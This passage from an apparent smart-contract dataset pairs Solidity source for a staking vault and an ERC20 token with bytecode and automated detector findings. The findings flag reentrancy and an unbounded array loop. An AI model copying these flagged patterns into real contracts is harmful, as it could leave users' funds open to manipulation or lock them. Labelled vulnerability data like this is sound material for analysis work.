815260040180806020018281038252601a8152602001807f544f4b454e5f5452414e534645525f494e5f4f564552464c4f5700000000000081525060200191505060405180910390fd5b61144f838261165990919063ffffffff16565b9450505050509392505050565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156114d257600080fd5b505af11580156114e6573d6000803e3d6000fd5b5050505060003d60008114611502576020811461150c57600080fd5b6000199150611518565b60206000803e60005191505b508061158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f544f4b454e5f5452414e534645525f4f55545f4641494c45440000000000000081525060200191505060405180910390fd5b5050505050565b6000808311829061163f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116045780820151818401526020810190506115e9565b50505050905090810190601f1680156116315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161164b57fe5b049050809150509392505050565b60008282111561166557fe5b81830390509291505056fe70726573616c65206973206f76657220796f752063616e6e6f7420627579206e6f774f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220b5d6f6f8a780e82763b8f3dce656b5e1eb1d78bfc4e67d8ce92d41c99fda759f64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 639 |
0x8fff32c2fc7e5c904ee05374e0b484d7313ebfd0 | pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pTUSDVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
mapping (address => uint256) amount;
uint256 time;
}
IERC20 public token = IERC20(0x0000000000085d4780B73119b644AE5ecd22b376);
address public governance;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount = 0;
event Withdrawn(address indexed user, uint256 amount);
constructor () public {
governance = msg.sender;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this));
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint256 _amount) public {
require(_amount > 0, "can't deposit 0");
uint arrayLength = addressIndices.length;
bool found = false;
for (uint i = 0; i < arrayLength; i++) {
if(addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 realAmount = _amount.mul(995).div(1000);
uint256 feeAmount = _amount.mul(5).div(1000);
address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC;
address vaultAddress = 0x406858Bb4F0AFFDAFbcf7fc3511384C2e2C1C9D9; // Vault10 Address
token.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
}
function reward(uint256 _amount) external {
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token.safeTransferFrom(msg.sender, address(this), _amount);
uint arrayLength = addressIndices.length;
for (uint i = 0; i < arrayLength; i++) {
rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].add(_amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit));
_rewards[_rewardCount].amount[addressIndices[i]] = _amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit);
}
_rewards[_rewardCount].time = block.timestamp;
_rewardCount++;
}
function withdrawAll() external {
withdraw(rewardBalances[msg.sender]);
}
function withdraw(uint256 _amount) public {
require(_rewardCount > 0, "no reward amount");
require(_amount > 0, "can't withdraw 0");
uint256 availableWithdrawAmount = availableWithdraw(msg.sender);
if (_amount > availableWithdrawAmount) {
_amount = availableWithdrawAmount;
}
token.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableWithdraw(address owner) public view returns(uint256){
uint256 availableWithdrawAmount = rewardBalances[owner];
for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.add(7 days); --i) {
availableWithdrawAmount = availableWithdrawAmount.sub(_rewards[i].amount[owner].mul(_rewards[i].time.add(7 days).sub(block.timestamp)).div(7 days));
if (i == 0) break;
}
return availableWithdrawAmount;
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a9fb763c11610097578063de5f626811610066578063de5f626814610276578063e2aa2a851461027e578063f6153ccd14610286578063fc0c546a1461028e57610100565b8063a9fb763c1461020e578063ab033ea91461022b578063b69ef8a814610251578063b6b55f251461025957610100565b8063853828b6116100d3578063853828b6146101a65780638f1e9405146101ae57806393c8dc6d146101cb578063a7df8c57146101f157610100565b80631eb903cf146101055780632e1a7d4d1461013d5780633df2c6d31461015c5780635aa6e67514610182575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610296565b60408051918252519081900360200190f35b61015a6004803603602081101561015357600080fd5b50356102a8565b005b61012b6004803603602081101561017257600080fd5b50356001600160a01b03166103dd565b61018a6104d7565b604080516001600160a01b039092168252519081900360200190f35b61015a6104e6565b61012b600480360360208110156101c457600080fd5b5035610501565b61012b600480360360208110156101e157600080fd5b50356001600160a01b0316610516565b61018a6004803603602081101561020757600080fd5b5035610528565b61015a6004803603602081101561022457600080fd5b503561054f565b61015a6004803603602081101561024157600080fd5b50356001600160a01b03166107a2565b61012b610811565b61015a6004803603602081101561026f57600080fd5b503561088e565b61015a610a5f565b61012b610adc565b61012b610ae2565b61018a610ae8565b60036020526000908152604090205481565b6000600754116102f2576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b6000811161033a576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6000610345336103dd565b905080821115610353578091505b600054610370906001600160a01b0316338463ffffffff610af716565b33600090815260046020526040902054610390908363ffffffff610b4e16565b33600081815260046020908152604091829020939093558051858152905191927f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d592918290030190a25050565b6001600160a01b038116600090815260046020526040812054600754600019015b6000818152600660205260409020600101546104239062093a8063ffffffff610b9916565b4210156104d0576104bb6104ae62093a806104a26104734261046762093a80600660008a815260200190815260200160002060010154610b9990919063ffffffff16565b9063ffffffff610b4e16565b60008681526006602090815260408083206001600160a01b038d1684529091529020549063ffffffff610bf316565b9063ffffffff610c4c16565b839063ffffffff610b4e16565b9150806104c7576104d0565b600019016103fe565b5092915050565b6001546001600160a01b031681565b336000908152600460205260409020546104ff906102a8565b565b60066020526000908152604090206001015481565b60046020526000908152604090205481565b6005818154811061053557fe5b6000918252602090912001546001600160a01b0316905081565b60008111610595576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b6000600254116105ec576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60005461060a906001600160a01b031633308463ffffffff610c8e16565b60055460005b8181101561077f576106a96106676002546104a2600360006005878154811061063557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054879063ffffffff610bf316565b600460006005858154811061067857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549063ffffffff610b9916565b60046000600584815481106106ba57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400181209190915560025460058054610730936104a292600392879081106106fe57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054869063ffffffff610bf316565b6007546000908152600660205260408120600580549192918590811061075257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600101610610565b505060078054600090815260066020526040902042600191820155815401905550565b6001546001600160a01b031633146107ef576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d602081101561088757600080fd5b5051905090565b600081116108d5576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b6005546000805b8281101561092757336001600160a01b0316600582815481106108fb57fe5b6000918252602090912001546001600160a01b0316141561091f5760019150610927565b6001016108dc565b508061097057600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b031916331790555b600061098a6103e86104a2866103e363ffffffff610bf316565b905060006109a56103e86104a287600563ffffffff610bf316565b60005490915073d319d5a9d039f06858263e95235575bb0bd630bc9073406858bb4f0affdafbcf7fc3511384c2e2c1c9d9906109f2906001600160a01b031633848663ffffffff610c8e16565b600054610a10906001600160a01b031633838763ffffffff610c8e16565b600254610a23908563ffffffff610b9916565b60025533600090815260036020526040902054610a46908563ffffffff610b9916565b3360009081526003602052604090205550505050505050565b600054604080516370a0823160e01b815233600482015290516104ff926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610aab57600080fd5b505afa158015610abf573d6000803e3d6000fd5b505050506040513d6020811015610ad557600080fd5b505161088e565b60075481565b60025481565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b49908490610cee565b505050565b6000610b9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea6565b90505b92915050565b600082820183811015610b90576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c0257506000610b93565b82820282848281610c0f57fe5b0414610b905760405162461bcd60e51b8152600401808060200182810382526021815260200180610fdf6021913960400191505060405180910390fd5b6000610b9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3d565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610ce8908590610cee565b50505050565b610d00826001600160a01b0316610fa2565b610d51576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d8f5780518252601f199092019160209182019101610d70565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610df1576040519150601f19603f3d011682016040523d82523d6000602084013e610df6565b606091505b509150915081610e4d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610ce857808060200190516020811015610e6957600080fd5b5051610ce85760405162461bcd60e51b815260040180806020018281038252602a815260200180611000602a913960400191505060405180910390fd5b60008184841115610f355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610efa578181015183820152602001610ee2565b50505050905090810190601f168015610f275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610efa578181015183820152602001610ee2565b506000838581610f9857fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610fd65750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820e4ad0ac9bd39bc4ca055c82efc95feee8e077083e4a8c1ac8563d2a55f4e983a64736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 640 |
0x320e2cbd104d276b37f012465cc6bc7408be8bb5 | /**
Copyright (c) 2018 Taylor OÜ
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
based on the contracts of OpenZeppelin:
https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts
**/
pragma solidity 0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
@title TaylorToken
**/
contract TaylorToken is Ownable{
using SafeMath for uint256;
/**
EVENTS
**/
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _owner, uint256 _amount);
/**
CONTRACT VARIABLES
**/
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
//this address can transfer even when transfer is disabled.
mapping (address => bool) public whitelistedTransfer;
mapping (address => bool) public whitelistedBurn;
string public name = "Taylor";
string public symbol = "TAYLR";
uint8 public decimals = 18;
uint256 constant internal DECIMAL_CASES = 10**18;
uint256 public totalSupply = 10**7 * DECIMAL_CASES;
bool public transferable = false;
/**
MODIFIERS
**/
modifier onlyWhenTransferable(){
if(!whitelistedTransfer[msg.sender]){
require(transferable);
}
_;
}
/**
CONSTRUCTOR
**/
/**
@dev Constructor function executed on contract creation
**/
function TaylorToken()
Ownable()
public
{
balances[owner] = balances[owner].add(totalSupply);
whitelistedTransfer[msg.sender] = true;
whitelistedBurn[msg.sender] = true;
Transfer(address(0),owner, totalSupply);
}
/**
OWNER ONLY FUNCTIONS
**/
/**
@dev Activates the trasfer for all users
**/
function activateTransfers()
public
onlyOwner
{
transferable = true;
}
/**
@dev Allows the owner to add addresse that can bypass the
transfer lock. Eg: ICO contract, TGE contract.
@param _address address Address to be added
**/
function addWhitelistedTransfer(address _address)
public
onlyOwner
{
whitelistedTransfer[_address] = true;
}
/**
@dev Sends all avaible TAY to the TGE contract to be properly
distribute
@param _tgeAddress address Address of the token distribution
contract
**/
function distribute(address _tgeAddress)
public
onlyOwner
{
whitelistedTransfer[_tgeAddress] = true;
transfer(_tgeAddress, balances[owner]);
}
/**
@dev Allows the owner to add addresse that can burn tokens
Eg: ICO contract, TGE contract.
@param _address address Address to be added
**/
function addWhitelistedBurn(address _address)
public
onlyOwner
{
whitelistedBurn[_address] = true;
}
/**
PUBLIC FUNCTIONS
**/
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value)
public
onlyWhenTransferable
returns (bool success)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom
(address _from,
address _to,
uint256 _value)
public
onlyWhenTransferable
returns (bool success) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
For security reasons, if one need to change the value from a existing allowance, it must furst sets
it to zero and then sets the new value
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value)
public
onlyWhenTransferable
returns (bool success)
{
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
@dev Allows for msg.sender to burn his on tokens
@param _amount uint256 The amount of tokens to be burned
**/
function burn(uint256 _amount)
public
returns (bool success)
{
require(whitelistedBurn[msg.sender]);
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
totalSupply = totalSupply.sub(_amount);
Burn(msg.sender, _amount);
return true;
}
/**
CONSTANT FUNCTIONS
**/
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender)
view
public
returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
} | 0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806311f71e97146101e157806318160ddd1461020057806323b872dd14610225578063313ce5671461024d5780633a62244f1461027657806342966c681461028b57806345c46619146102a15780634f5e6a8d146102c057806363453ae1146102df57806366188463146102fe57806370a0823114610320578063735b232c1461033f5780638da5cb5b1461035e57806392ff0d311461038d57806395d89b41146103a0578063a9059cbb146103b3578063d73dd623146103d5578063dd62ed3e146103f7578063f2fde38b1461041c575b600080fd5b341561012c57600080fd5b61013461043b565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610170578082015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b657600080fd5b6101cd600160a060020a03600435166024356104d9565b604051901515815260200160405180910390f35b34156101ec57600080fd5b6101cd600160a060020a0360043516610575565b341561020b57600080fd5b61021361058a565b60405190815260200160405180910390f35b341561023057600080fd5b6101cd600160a060020a0360043581169060243516604435610590565b341561025857600080fd5b610260610743565b60405160ff909116815260200160405180910390f35b341561028157600080fd5b61028961074c565b005b341561029657600080fd5b6101cd600435610776565b34156102ac57600080fd5b610289600160a060020a036004351661085f565b34156102cb57600080fd5b6101cd600160a060020a036004351661089e565b34156102ea57600080fd5b610289600160a060020a03600435166108b3565b341561030957600080fd5b6101cd600160a060020a0360043516602435610913565b341561032b57600080fd5b610213600160a060020a0360043516610a0d565b341561034a57600080fd5b610289600160a060020a0360043516610a28565b341561036957600080fd5b610371610a67565b604051600160a060020a03909116815260200160405180910390f35b341561039857600080fd5b6101cd610a76565b34156103ab57600080fd5b610134610a7f565b34156103be57600080fd5b6101cd600160a060020a0360043516602435610aea565b34156103e057600080fd5b6101cd600160a060020a0360043516602435610c16565b341561040257600080fd5b610213600160a060020a0360043581169060243516610cba565b341561042757600080fd5b610289600160a060020a0360043516610ce5565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104d15780601f106104a6576101008083540402835291602001916104d1565b820191906000526020600020905b8154815290600101906020018083116104b457829003601f168201915b505050505081565b600160a060020a03331660009081526003602052604081205460ff16151561050c5760095460ff16151561050c57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60046020526000908152604090205460ff1681565b60085481565b600160a060020a03331660009081526003602052604081205460ff1615156105c35760095460ff1615156105c357600080fd5b600160a060020a03831615156105d857600080fd5b600160a060020a0384166000908152600160205260409020548211156105fd57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561063057600080fd5b600160a060020a038416600090815260016020526040902054610659908363ffffffff610d8016565b600160a060020a03808616600090815260016020526040808220939093559085168152205461068e908363ffffffff610d9216565b600160a060020a038085166000908152600160209081526040808320949094558783168252600281528382203390931682529190915220546106d6908363ffffffff610d8016565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60075460ff1681565b60005433600160a060020a0390811691161461076757600080fd5b6009805460ff19166001179055565b600160a060020a03331660009081526004602052604081205460ff16151561079d57600080fd5b600160a060020a0333166000908152600160205260409020548211156107c257600080fd5b600160a060020a0333166000908152600160205260409020546107eb908363ffffffff610d8016565b600160a060020a033316600090815260016020526040902055600854610817908363ffffffff610d8016565b600855600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2506001919050565b60005433600160a060020a0390811691161461087a57600080fd5b600160a060020a03166000908152600460205260409020805460ff19166001179055565b600360205260009081526040902054